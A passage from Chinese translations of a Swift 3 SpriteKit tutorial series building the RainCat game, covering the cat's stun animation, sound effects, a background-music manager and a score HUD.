walkingActionKey)\n}\n```\n\n这段代码只是把 `timeSinceLastHit` 变量设置成了 `0`，同时移除了小猫的步行动画。现在我们需要重写 `update(deltaTime: foodLocation:)` 函数，以保证小猫就不会在它被晕眩的时候移动。让我们用如下代码更新该函数：\n\n```\npublic func update(deltaTime : TimeInterval, foodLocation: CGPoint) {\n  timeSinceLastHit += deltaTime\n\n  if timeSinceLastHit >= maxFlailTime {\n    if action(forKey: walkingActionKey) == nil {\n      let walkingAction = SKAction.repeatForever(\n        SKAction.animate(with: walkFrames,\n                         timePerFrame: 0.1,\n                         resize: false,\n                         restore: true))\n\n      run(walkingAction, withKey:walkingActionKey)\n    }\n\n    if foodLocation.x < position.x {\n      //Food is left\n      position.x -= movementSpeed * CGFloat(deltaTime)\n      xScale = -1\n    } else {\n      //Food is right\n      position.x += movementSpeed * CGFloat(deltaTime)\n      xScale = 1\n    }\n  }\n}\n```\n\n现在，我们的 `timeSinceLastHit` 变量会不停更新，而且如果小猫在过去的 2 秒钟没有被打中，那么它就会继续朝着食物移动。如果我们并没有设置步行动画，那么必须要正确地设置它。步行动画是个基于帧的动画，而它只是每 0.1 秒交换两个纹理使得小猫看起来像在行走。不过它看起来的确很像小猫真的在行走，对吧？\n\n我们需要重新打开 `GameScene.swift` 文件来告诉小猫它被击中了。在 `handleCatCollision(contact:)` 函数中，我们需要调用 `hitByRain` 函数。在 `switch` 语句里，找到 `RainDropCategory` 然后把其中的这个语句：\n\n```\nprint(\"rain hit the cat\")\n```\n\n换成这个：\n\n```\ncatNode.hitByRain()\n```\n\n如果我们现在运行我们的应用，当小猫被雨滴击中时，它就会被晕眩 2 秒啦！\n\n这个功能成功实现了，只是现在小猫会进入一个颠倒的状态，看起来很滑稽。同样的，这也会让雨滴看起来真的很痛——可能我们需要做点什么了。\n\n对于雨滴的问题，我们可以对它的 `physicsBody` 做点细微的调整。在 `spawnRaindrop` 函数中，初始化 `physicsBody` 语句的下面，我们可以添加如下代码：\n\n```\nraindrop.physicsBody?.density = 0.5\n```\n\n这会使雨滴的密度从它的初始值 `1.0` 减半。这会使得小猫没这么容易被击中了。\n\n打开 `CatSprite.swift` 文件，我们可以修改 `SKAction` 来修正小猫的旋转。在 `update(deltaTime: foodLocation:)` 函数中添加如下代码。确保它在 `if` 语句的里面判断猫是否在抖动。\n\n找到这一行：\n\n```\nif timeSinceLastHit >= maxFlailTime {\n```\n\n并且添加如下代码来修正小猫的旋转角度：\n\n```\nif zRotation != 0 && action(forKey: \"action_rotate\") == nil {\n  run(SKAction.rotate(toAngle: 0, duration: 0.25), withKey: \"action_rotate\")\n}\n```\n\n这个代码块会判断是否小猫已经被旋转了，哪怕只是一点点。然后，我们要判断当前正在运行的这些 `SKAction` 来确定我们是否已经运行猫的重置动画。如果小猫被旋转了，而又没有运行动画，那么我们就需要运行一个动画来让小猫回归到初始状态。需要注意的是，我们这里采用了硬编码，因为我们暂时不需要在任何别的部分使用这个值。以后如果我们需要在别的函数或类中判断旋转动画，我们就需要在文件的顶部设置一个常量了，就像 `walkingActionKey` 一样。\n\n运行我们的应用，现在你能看到奇迹发生了：小猫被击中了，小猫旋转了，小猫又转回来了，它很开心可以继续去吃掉更多的食物了。可是这里仍旧有两个小问题。因为我们把猫的 `physicsBody` 设置成了一个圆，在小猫第一次修正自己时，你可能会发现小猫的状态变得不太稳定了。它会不停的旋转然后修正自己。为了解决这个问题，我们需要重设 `angularVelocity`。本质上，小猫在被击中时会旋转，然而我们并没有修正我们为小猫添加的移动速度。而小猫也在被击中后没有更新自己的速度。如果小猫被击中了然后尝试着向相反方向移动，你可能会发现它比正常的速度慢了。另外一个问题是，食物可能会在小猫的正上方。当食物在小猫正上方时，小猫会迅速地转身。我们可以通过用如下代码更新我们的 `update(deltaTime :, foodLocation:)` 函数来解决这个问题：\n\n```\npublic func update(deltaTime : TimeInterval, foodLocation: CGPoint) {\n  timeSinceLastHit += deltaTime\n\n  if timeSinceLastHit >= maxFlailTime {\n    if action(forKey: walkingActionKey) == nil {\n      let walkingAction = SKAction.repeatForever(\n        SKAction.animate(with: walkFrames,\n                         timePerFrame: 0.1,\n                         resize: false,\n                         restore: true))\n\n      run(walkingAction, withKey:walkingActionKey)\n    }\n\n      if zRotation != 0 && action(forKey: \"action_rotate\") == nil {\n        run(SKAction.rotate(toAngle: 0, duration: 0.25), withKey: \"action_rotate\")\n      }\n\n      //Stand still if the food is above the cat.\n      if foodLocation.y > position.y && abs(foodLocation.x - position.x) < 2 {\n        physicsBody?.velocity.dx = 0\n        removeAction(forKey: walkingActionKey)\n        texture = walkFrames[1]\n      } else if foodLocation.x < position.x {\n        //Food is left\n        physicsBody?.velocity.dx = -movementSpeed\n        xScale = -1\n      } else {\n        //Food is right\n        physicsBody?.velocity.dx = movementSpeed\n        xScale = 1\n      }\n\n    physicsBody?.angularVelocity = 0\n  }\n}\n```\n\n现在让我们再来重新运行应用，大部分的不稳定动作已经被修正了。不仅仅是这样，当食物在小猫正上方时，小猫也会稳稳地站着了。\n\n### 现在来添加音乐吧 \n\n在我们开始写代码前，我们应该先要找点音效。一般来说，在寻找音效时，我只会搜索一些类似于 “cat meow royalty free” 的关键词。第一个匹配的通常是 [SoundBible.com](http://soundbible.com/tags-cat-meow.html)<sup>[\\[13\\]](#note-13)</sup>，它会提供一些免费的音效。请务必阅读使用许可证。如果你不打算发布你的应用，那么就不需要关心许可证，因为这只是个个人应用。可是，如果你想要在 App store 中发售它，或者通过别的方式发布它，那么就请确保附上了 Creative Commons Attribution 3.0 或者是类似的许可证。这里有许多种许可证，所以当你使用别人的作品前，请确定你找到了相对应的许可证。\n\n在该应用中使用的音效都是通过 Creative Commons-licensed 授权并且免费使用的。为了之后的操作，我们需要将之前下载的 `SFX` 文件夹移动到 `RainCat` 文件夹中。\n\n[![Finder 模式已激活](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png)<sup>[\\[14\\]](#note-14)</sup>\n\n把音效添加到文件系统中。 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png)<sup>[\\[15\\]](#note-15)</sup>)\n\n在你把这些文件拷贝到项目中之后，你需要用 Xcode 来把它们添加到你的项目中。在 “Support” 文件夹下新建一个名为 “SFX” 的 group。右键点击这个group 然后点击 “Add Files to RainCat…” 选项。\n\n[![添加音效](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png)<sup>[\\[16\\]](#note-16)</sup>\n\n添加音效\n\n找到你的 “SFX” 文件夹，选中你的所有音效文件，然后点击 “Add” 按钮。现在项目中就有了你所有需要使用的音效文件了。打开 `CatSprite.swift` 文件，我们可以添加一个包含了所有音效文件名的数组，这样我们就可以在雨滴击中物体时播放它们了。在该文件的顶部， `walkFrames` 变量下，添加如下数组：\n\n```\nprivate let meowSFX = [\n  \"cat_meow_1.mp3\",\n  \"cat_meow_2.mp3\",\n  \"cat_meow_3.mp3\",\n  \"cat_meow_4.mp3\",\n  \"cat_meow_5.wav\",\n  \"cat_meow_6.wav\"\n]\n```\n\n我们在 `hitByRain` 函数中添加两行代码，来让小猫发出声音了：\n\n```\nlet selectedSFX = Int(arc4random_uniform(UInt32(meowSFX.count)))\nrun(SKAction.playSoundFileNamed(meowSFX[selectedSFX], waitForCompletion: true))\n```\n\n上面的代码会在 0 到 `meowSFX` 数组大小的范围内随机选择一个值。然后，我们从字符串数组中选择相对应的音效名并且播放它。我们将得到一个 1 bit 的 `waitForCompletion` 变量. 同样的，我们将使用 `SKAction.playSoundFileNamed` 来播放我们可爱的音效。\n\n那么现在我们的应用就有声音啦！那么多声音！可是有些声音会重叠起来。现在，每当小猫被雨滴击中时，我们就会播放一个音效。很快我们就会觉得烦了。我们需要在播放音效时添加更多的逻辑判断，而且我们也不应该同时播放两个音效。\n\n在 `CatSprite.swift` 文件的顶部，`maxFlailTime` 变量的下面，添加如下两个变量:\n\n```\nprivate var currentRainHits = 4\nprivate let maxRainHits = 4\n\n```\n\n第一个变量，`currentRainHits`，是一个计数器，会统计小猫总共被雨滴打中了多少次，而 `maxRainHits` 表示了在小猫喵喵叫前能被击中几次。\n\n现在我们将要更新 `hitByRain` 函数了。我们需要应用 `currentRainHits` 和 `maxRainHits` 两个变量来制定规则了。让我们用如下代码来更新 `hitByRain` 函数：\n\n```\npublic func hitByRain() {\n  timeSinceLastHit = 0\n  removeAction(forKey: walkingActionKey)\n\n  //Determine if we should meow or not\n  if(currentRainHits < maxRainHits) {\n    currentRainHits += 1\n\n    return\n  }\n\n  if action(forKey: \"action_sound_effect\") == nil {\n    currentRainHits = 0\n\n    let selectedSFX = Int(arc4random_uniform(UInt32(meowSFX.count)))\n\n    run(SKAction.playSoundFileNamed(meowSFX[selectedSFX], waitForCompletion: true),\n          withKey: \"action_sound_effect\")\n  }\n}\n```\n\n现在，如果 `currentRainHits` 的值比设定的最大值小，那么我们只增加 `currentRainHits` 的值而不播放音效。然后，我们需要通过我们提供的键值： `action_sound_effect` 来判断我们现在是否已经在播放音效了。如果我们没在播放音效，那么我们可以随机播放一个音效。我们把 `waitForCompletion` 参数设置成 `true`， 因为这个操作在音效结束前并不会完成。如果我们把该参数设置成 `false`，那么它会在音效刚开始时就把它当做播放结束来计数了。\n \n### 添加音乐 \n\n在我们新建一个方法在我们的应用中播放音乐之前，我们需要找到能播放的东西。类似于搜索音效的过程，我们可以在 Google 中搜索 “royalty free music” 来找到需要播放的音乐。此外，你可以去 SoundCloud 网站，并与里面的艺术家交谈。你需要查看你是否可以找到音乐相对应的许可证以保证你可以在你的游戏中使用它。 对这个应用而言，我碰巧发现了 [Bensound](http://www.bensound.com/royalty-free-music)<sup>[\\[28\\]](#note-28)</sup><sup>[\\[17\\]](#note-17)</sup>，根据 Creative Commons license，有一些我们可以使用的音乐。你必须遵从 [licensing agreement](http://www.bensound.com/licensing)<sup>[\\[18\\]](#note-18)</sup> 来使用它。操作其实很简单：credit Bensound 或者付费购买许可。\n\n下载我们的四个音轨 ([1](http://www.bensound.com/royalty-free-music/track/little-idea)<sup>[\\[19\\]](#note-19)</sup>, [2](http://www.bensound.com/royalty-free-music/track/clear-day)<sup>[\\[20\\]](#note-20)</sup>, [3](http://www.bensound.com/royalty-free-music/track/jazzy-frenchy)<sup>[\\[21\\]](#note-21)</sup>, [4](http://www.bensound.com/royalty-free-music/track/jazz-comedy)<sup>[\\[22\\]](#note-22)</sup>)，或者把它们从之前下载的 “Music” 文件夹里拖出来。我们将在四个音轨循环播放，来保证玩家不会感到厌烦。另外一件需要考虑的事是，这些音轨可能并不能正确循环，这样你就需要知道每个音轨的开始和结束时间。好的背景音乐可以很好的在不同的音轨间循环或切换。\n\n在你下载了这些音轨之后，你需要在 “RainCat” 文件夹下新建一个名叫 “Music” 的文件夹，和你之前创建 “SFX” 文件夹的操作一样。然后把下载的音轨移动到这个文件夹中。\n\n[![添加音乐](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png)<sup>[\\[23\\]](#note-23)</sup>\n\n添加音乐 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png))<sup>[\\[24\\]](#note-24)</sup>\n\n然后，在我们的项目结构里的 “Support” 中创建一个组，命名为 “Music”。 右键点击 “Music” 组，点击 “Add Files to RainCat”，把我们的音乐添加到项目里。这和我们添加音效的操作一样。\n\n然后，我们需要创建一个名为 `SoundManager.swift` 新文件，正如你在上面图片中看到的那样。这将用来作为播放音乐的单例，对音效而言，我们并不介意两个音效重叠，但是如果有两个背景音乐同时播放那将是一件很恐怖的事。所以我们需要实现 `SoundManager`：\n\n```\nimport AVFoundation\n\nclass SoundManager : NSObject, AVAudioPlayerDelegate {\n  static let sharedInstance = SoundManager()\n\n  var audioPlayer : AVAudioPlayer?\n  var trackPosition = 0\n\n  //Music: http://www.bensound.com/royalty-free-music\n  static private let tracks = [\n    \"bensound-clearday\",\n    \"bensound-jazzcomedy\",\n    \"bensound-jazzyfrenchy\",\n    \"bensound-littleidea\"\n  ]\n\n  private override init() {\n    //This is private, so you can have only one Sound Manager ever.\n    trackPosition = Int(arc4random_uniform(UInt32(SoundManager.tracks.count)))\n  }\n\n  public func startPlaying() {\n    if audioPlayer == nil || audioPlayer?.isPlaying == false {\n      let soundURL = Bundle.main.url(forResource: SoundManager.tracks[trackPosition], withExtension: \"mp3\")\n\n      do {\n        audioPlayer = try AVAudioPlayer(contentsOf: soundURL!)\n        audioPlayer?.delegate = self\n      } catch {\n        print(\"audio player failed to load\")\n\n        startPlaying()\n      }\n\n      audioPlayer?.prepareToPlay()\n\n      audioPlayer?.play()\n\n      trackPosition = (trackPosition + 1) % SoundManager.tracks.count\n    } else {\n      print(\"Audio player is already playing!\")\n    }\n  }\n\n  func audioPlayerDidFinishPlaying(_ player: AVAudioPlayer, successfully flag: Bool) {\n    //Just play the next track.\n    startPlaying()\n  }\n}\n```\n\n在 `SoundManager` 类中，我们需要使用 [单例](https://www.codefellows.org/blog/singletons-and-swift/)<sup>[\\[25\\]](#note-25)</sup> 来创建 `SoundManager`，来处理巨大的音轨文件并且按顺序连续播放它们。为了处理更长时间的音频文件，我们需要使用 `AVFoundation`。它是专门为此构建的，而 `SKAction` 并不能边加载边播放一个大音频文件，这和它在加载小的 SFX 文件时不一样。因为这个库一直都存在， `delegate` 是依赖于 [`NSObjects`](https://developer.apple.com/reference/objectivec/nsobject)<sup>[\\[26\\]](#note-26)</sup>。我们需要使用 [`AVAudioPlayerDelegate`](https://developer.apple.com/reference/avfoundation/avaudioplayerdelegate)<sup>[\\[27\\]](#note-27)</sup> 来检测音频何时播放完毕。\n我们需要持有现在正在播放的 `audioPlayer` 变量，以用来实现静音操作。\n\n现在我们有当前音轨的位置，我们可以按照文件名数组来播放下一个音轨。当然我们也应该遵守 [Bensound](http://www.bensound.com/royalty-free-music)<sup>[\\[28\\]](#note-28)</sup><sup>[\\[17\\]](#note-17)</sup> 协议许可。\n\n我们需要实现默认的 `init` 函数，在这里，我们将随机选择起始音乐，这样我们不用总是在游戏开始时听同样的音乐。在这之后，我们需要等待程序告诉我们开始播放操作。在 `startPlaying` 函数中，我们需要检查当前播放器是否正在播放，如果没有，我们开始尝试播放被选中的音乐。我们需要启动音乐播放器，因为该操作有可能失败，所以我们需要将该操作放到 [try/catch block](https://www.bignerdranch.com/blog/error-handling-in-swift-2/)<sup>[\\[29\\]](#note-29)</sup> 中。然后，我们准备开始播放选中的音轨，同时设置索引给下一个需要播放的音乐。因此，下面这行代码非常重要：\n\n```\ntrackPosition = (trackPosition + 1) % SoundManager.tracks.count\n```\n\n这行代码会通过增加索引值来设置音轨的下个位置，然后会执行 [modulo](https://en.wikipedia.org/wiki/Modulo_operation)<sup>[\\[30\\]](#note-30)</sup> 操作，以保持索引值不会越界。最后，在 `audioPlayerDidFinishPlaying(_ player:successfully flag:)` 函数中，我们实现了 `delegate` 方法，这可以让我们知道音乐播放完毕。现在，我们并不需要关心这个方法是否成功——只要在这个方法被调用时播放下一个音乐就好了。\n\n### 按下 Play 键 \n\n现在我们已经实现了 `SoundManager`，我们就需要告诉它什么时候开始运行，这样我们就有无限循环播放的背景音乐了。让我们重新打开 `GameViewController.swift` 文件，然后将下面这行代码放到初始化场景的地方：\n\n```\nSoundManager.sharedInstance.startPlaying()\n```\n\n\n我们在 `GameViewController` 里执行这个操作，是因为我们需要音乐独立于场景。如果我们在这个时候运行 app，而且所有的东西都已经被正确地添加到了项目中，我们就可以听到背景音乐了！\n\n在本课中，我们主要实现了两个部分：精灵动画和声音。我们使用了一个基于帧的动画来使精灵可以动起来，用了 SKAction 来实现，并使用了一些方法来重设我们被雨滴击中的小猫。我们使用了 `SKAction` 来添加了音效，并指定了当小猫被雨击中时来播放音效。 最后，我们为我们的游戏添加了初始背景音乐。\n\n到这里，恭喜！我们的游戏即将完成！如果你有什么不明白的地方，请仔细检查我们在 [在Github](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two)<sup>[\\[31\\]](#note-31)</sup> 上的代码。\n\n你做的怎么样了？你的代码和我的差不多吗？如果你做了一些修改，或者有更好的更新，可以通过评论让我知道。\n\n第三节课即将到来！\n\n#### 附录 \n\n1. <a name=\"note-1\"></a>https://developer.apple.com/spritekit/\n2. <a name=\"note-2\"></a>https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/\n3. <a name=\"note-3\"></a>https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one\n4. <a name=\"note-4\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png\n5. <a name=\"note-5\"></a>https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/\n6. <a name=\"note-6\"></a>https://github.com/thirteen23/RainCat/blob/smashing-day-2/dayTwoAssets.zip\n7. <a name=\"note-7\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png\n8. <a name=\"note-8\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png\n9. <a name=\"note-9\"></a>https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html\n10. <a name=\"note-10\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png\n11. <a name=\"note-11\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png\n12. <a name=\"note-12\"></a>https://developer.apple.com/reference/spritekit/sknode/1483087-xscale\n13. <a name=\"note-13\"></a>http://soundbible.com/tags-cat-meow.html\n14. <a name=\"note-14\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png\n15. <a name=\"note-15\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png\n16. <a name=\"note-16\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png\n17. <a name=\"note-17\"></a>http://www.bensound.com/royalty-free-music\n18. <a name=\"note-18\"></a>http://www.bensound.com/licensing](#note-18)\n19. <a name=\"note-19\"></a>http://www.bensound.com/royalty-free-music/track/little-idea\n20. <a name=\"note-20\"></a>http://www.bensound.com/royalty-free-music/track/clear-day\n21. <a name=\"note-21\"></a>http://www.bensound.com/royalty-free-music/track/jazzy-frenchy\n22. <a name=\"note-22\"></a>http://www.bensound.com/royalty-free-music/track/jazz-comedy\n23. <a name=\"note-23\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png\n24. <a name=\"note-24\"></a>https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png\n25. <a name=\"note-25\"></a>https://www.codefellows.org/blog/singletons-and-swift/\n26. <a name=\"note-26\"></a>https://developer.apple.com/reference/objectivec/nsobject\n27. <a name=\"note-27\"></a>https://developer.apple.com/reference/avfoundation/avaudioplayerdelegate\n28. <a name=\"note-28\"></a>http://www.bensound.com/royalty-free-music\n29. <a name=\"note-29\"></a>https://www.bignerdranch.com/blog/error-handling-in-swift-2/\n30. <a name=\"note-30\"></a>https://en.wikipedia.org/wiki/Modulo_operation\n31. <a name=\"note-31\"></a>https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two\n\n"
  },
  {
    "path": "TODO/how-to-build-a-spritekit-game-in-swift-3-part-3.md",
    "content": "> * 原文地址：[How To Build A SpriteKit Game In Swift 3 (Part 3)](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-3/)\n* 原文作者：[Marc Vandehey](https://twitter.com/marcvandehey)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[DeepMissea](http://deepmissea.blue)\n* 校对者：[Tina92](https://github.com/Tina92)，[Tuccuay](http://www.tuccuay.com)\n\n# 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 3)\n\n你有没有想过要如何开始创作一款基于 SpriteKit 的游戏？按钮的开发是一个很庞大的任务吗？想过如何制作游戏的设置部分吗？随着 [SpriteKit](https://developer.apple.com/spritekit/) 的出现，在 iOS 上开发游戏已经变得空前的简单了。在本系列的第三部分，我们将完成 RainCat 游戏的开发以及对 SpriteKit 框架的介绍。\n\n如果你错过了[上一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md)，你可以通过获取 [Github 上的代码](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two)来赶上进度。请记住，本教程需要使用 Xcode 8 和 Swift 3。\n\n[![Raincat, 第三课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt-1.png)\n\n这是我们 RainCat 之旅的第三课。在[上节课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md)里，我们用了很长一段时间来搞定了一些简单动画，猫的行为、音效和背景音乐。\n\n\n今天，我们将重点关注下面的内容：\n\n- 用指示器（HUD）显示得分；\n- 主菜单 — 带一些按钮；\n- 静音选项；\n- 退出游戏选项。\n\n#### 更多的资源\n\n最后一节课的资源都在 [GitHub](https://github.com/thirteen23/RainCat/blob/smashing-day-3/dayThreeAssets.zip) 上，再次把那些图片拖进 `Assets.xcassets` 里，就像我们上节课做的那样。\n\n### 第一步！\n\n我们需要一种方式来显示得分。要做这个，我们就得创建一个指示器（HUD）。这个很简单：指示器是一个 `SKNode` ，它包含了分数和一个退出游戏的按钮。现在，我们先来搞定分数。我们用 Pixel Digivolve 字体来显示分数，你可以在 [Dafont.com](http://www.dafont.com/pixel-digivolve.font) 找到它。就像之前我们使用不是我们原创的图片和音效一样，使用字体前，一定要浏览它的使用协议。这个字体声明，个人使用是免费的，但如果你真的很喜欢，你可以去作者的页面对他进行捐赠以表示支持。你不可能自己做所有的事，所以回馈那些一路帮助过你的人也是很愉快的。\n\n接着，我们就需要把自定义的字体添加到项目里了。如果是第一次添加，这可能是个棘手的过程。\n\n下载字体并把它移动到项目文件夹的 “Fonts” 文件夹里。这个过程我们上节课已经做过好几次了，所以我们加快点儿速度。在项目里创建 `Fonts` 组，然后把 `Pixel digivolve.otf` 文件加进去。\n\n现在棘手的部分来了。如果错过了这部分，也许你就不能使用字体了。我们需要添加它到 `Info.plist` 文件。这个文件在 Xcode 的左边。打开它你会看到一堆属性列表（或者叫 `plist` 文件）。右键点击列表，然后点 “Add Row”。\n\n[![添加一行](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_infoplist-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_infoplist-preview-opt.png)\n\n在新添加的一行里，输入下面的内容：\n\n```\nFonts provided by application\n```\n\n然后在 `Item 0` 下面，我们得添加字体的名字。`plist` 文件看起来应该像下面这样：\n\n[![Pixel digivolve.otf](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_plistfont-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/settings_plistfont-preview-opt.png)\n\n字体已经准备完毕啦！我们应该做个快速的测试，看看它能不能像预期那样使用。打开 `GameScene.swift`，把下面的代码加在 `sceneDidLoad` 函数里的上方：\n\n```\nlet label =SKLabelNode(fontNamed:\"PixelDigivolve\")\nlabel.text =\"Hello World!\"\nlabel.position =CGPoint(x: size.width /2, y: size.height /2)\nlabel.zPosition =1000addChild(label)    \n```\n\n一切 OK 吗？\n\n[![Hello world!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/screen_withtext-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/screen_withtext-preview-opt.png)\n\n如果字体正常，那就说明你做的完全正确。如果不正常，那就是什么地方出了问题。Code With Chris 有一篇更加深入的[字体导入问题的文章](http://codewithchris.com/common-mistakes-with-adding-custom-fonts-to-your-ios-app/)，但要注意的是，这是一篇老版本 Swift 的文章，你可能需要稍稍改动一些地方来过渡到 Swift 3 。\n\n现在可以开始给我们的指示器加载自定义字体了。删掉 “Hello World” 标签，因为这个只是测试字体是否正常用的。指示器是一个 `SKNode` ，作为我们 HUD 控件的容器。这和我们在第一节课创建背景节点的过程一样。\n\n老样子，创建 `HudNode.swift` 文件，输入下面的代码：\n\n```\nimport SpriteKit\n\nclass HudNode : SKNode {\n  private let scoreKey = \"RAINCAT_HIGHSCORE\"\n  private let scoreNode = SKLabelNode(fontNamed: \"PixelDigivolve\")\n  private(set) var score : Int = 0\n  private var highScore : Int = 0\n  private var showingHighScore = false\n\n  /// Set up HUD here.\n  public func setup(size: CGSize) {\n    let defaults = UserDefaults.standard\n\n    highScore = defaults.integer(forKey: scoreKey)\n\n    scoreNode.text = \"\\(score)\"\n    scoreNode.fontSize = 70\n    scoreNode.position = CGPoint(x: size.width / 2, y: size.height - 100)\n    scoreNode.zPosition = 1\n\n    addChild(scoreNode)\n  }\n\n  /// Add point.\n  /// - Increments the score.\n  /// - Saves to user defaults.\n  /// - If a high score is achieved, then enlarge the scoreNode and update the color.\n  public func addPoint() {\n    score += 1\n\n    updateScoreboard()\n\n    if score > highScore {\n\n      let defaults = UserDefaults.standard\n\n      defaults.set(score, forKey: scoreKey)\n\n      if !showingHighScore {\n        showingHighScore = true\n\n        scoreNode.run(SKAction.scale(to: 1.5, duration: 0.25))\n        scoreNode.fontColor = SKColor(red:0.99, green:0.92, blue:0.55, alpha:1.0)\n      }\n    }\n  }\n\n  /// Reset points.\n  /// - Sets score to zero.\n  /// - Updates score label.\n  /// - Resets color and size to default values.\n  public func resetPoints() {\n    score = 0\n\n    updateScoreboard()\n\n    if showingHighScore {\n      showingHighScore = false\n\n      scoreNode.run(SKAction.scale(to: 1.0, duration: 0.25))\n      scoreNode.fontColor = SKColor.white\n    }\n  }\n\n  /// Updates the score label to show the current score.\n  private func updateScoreboard() {\n    scoreNode.text = \"\\(score)\"\n  }\n}\n```\n\n在我们做其他事之前，先在 `Constants.swift` 文件底部把下面的这行代码加上 —— 我们用这个键来读写最高得分记录：\n\n```\nlet ScoreKey =\"RAINCAT_HIGHSCORE\"\n```\n\n代码里，有五个关于计分板的变量，第一个实际上是个 `SKLabelNode`，用来表示标签。接着是用来保存当前分数的变量；再接下来是记录最高分的变量，最后一个变量是布尔类型，用来判断是否显示我们当前获得的分数（我们用这个变量来判断是否需要运行一个 `SKAction` 来增加计分板的比例以及把地板弄成黄色）。\n\n第一个函数 `setup(size:)` 的功能是把一切都设置好。我们就像之前那样来设置 `SKLabelNode`。`SKNode` 类没有任何默认尺寸，所以我们要创建一种方式来设置一个尺寸用于固定 `scoreNode` 的大小。我们还要从 [`UserDefaults`](https://developer.apple.com/reference/foundation/userdefaults) 里面得到当前最高分。这是一种简单方便的存储少量数据的方法，不过不太安全。不过我们并不用担心示例程序的安全性，所以使用  `UserDefaults` 也能让很好地完成这个任务\n\n在 `addPoint()` 函数里面，我们增加了 `score` 变量的值，接着检查玩家是否得到一个更高的分数。如果是，那么我们就把分数存到 `UserDefaults` 里，然后检查当前是否显示最高分。如果玩家达到了一个很高的分数，我们就用动画渲染 `scoreNode` 的颜色和大小。\n\n在 `resetPoints()` 函数中，我们把当前分数设为 `0`。然后，我们就检查是否需要显示高的得分，如果需要的话，重置默认值的颜色和大小。\n\n最后还有一个小函数，叫 `updateScoreboard`。这个私有函数用来把分数设置到 `scoreNode` 的文本上。在 `addPoint()` 和 `resetPoints()` 里用到了这个函数。\n\n### 挂上指示器\n\n我们得检查一下指示器是不是正常工作。到 `GameScene.swift` 文件，在文件的上方，`foodNode` 变量下边添加一行代码：\n\n```\nprivate let hudNode =HudNode()\n```\n\n在 `sceneDidLoad()` 函数内部的上方，添加下面两行代码：\n\n```\nhudNode.setup(size: size)\naddChild(hudNode)\n```\n\n接着，在 `spawnCat()` 函数，重置所有点防止猫从屏幕上掉下去。在把猫精灵加到场景的后面，加上这行代码：\n\n```\nhudNode.resetPoints()\n```\n\n接下来，在 `handleCatCollision(contact:)` 函数中，当猫被雨淋到时，我们也需要重置分数。在函数最后，`switch` 语句的 `RainDropCategory` 分支里，加上下面这行代码：\n\n```\nhudNode.resetPoints()\n```\n\n最后，我们得告诉计分板，什么时候用户得了分。在 `handleFoodHit(contact:)` 文件的最后，找到下面这几行代码：\n\n```\n//TODO increment points\nprint(\"fed cat\")\n```\n\n换成这个：\n\n```\nhudNode.addPoint()\n```\n\n以上！\n\n[![HUD unlocked!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoring-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoring-preview-opt.png)\n\n当来回收集食物时，你就会看到指示器的效果了。第一次收集食物的时候，你应该会看到分数变黄然后比例变大，如果你看到当猫淋到雨滴时，分数重置，那么你就是正确的！\n\n[![High Score!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoreincrease-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_scoreincrease-preview-opt.png)\n\n### 下一个场景\n\n没错，我们要开始下一个场景了！事实上，如果这个场景完成，它将会作为我们游戏的首屏展示。在做其他事情之前，打开 `Constants.swift` 然后添加下面这行代码到文件的底部 — 我们用它来检索以及保持高分：\n\n```\nlet ScoreKey 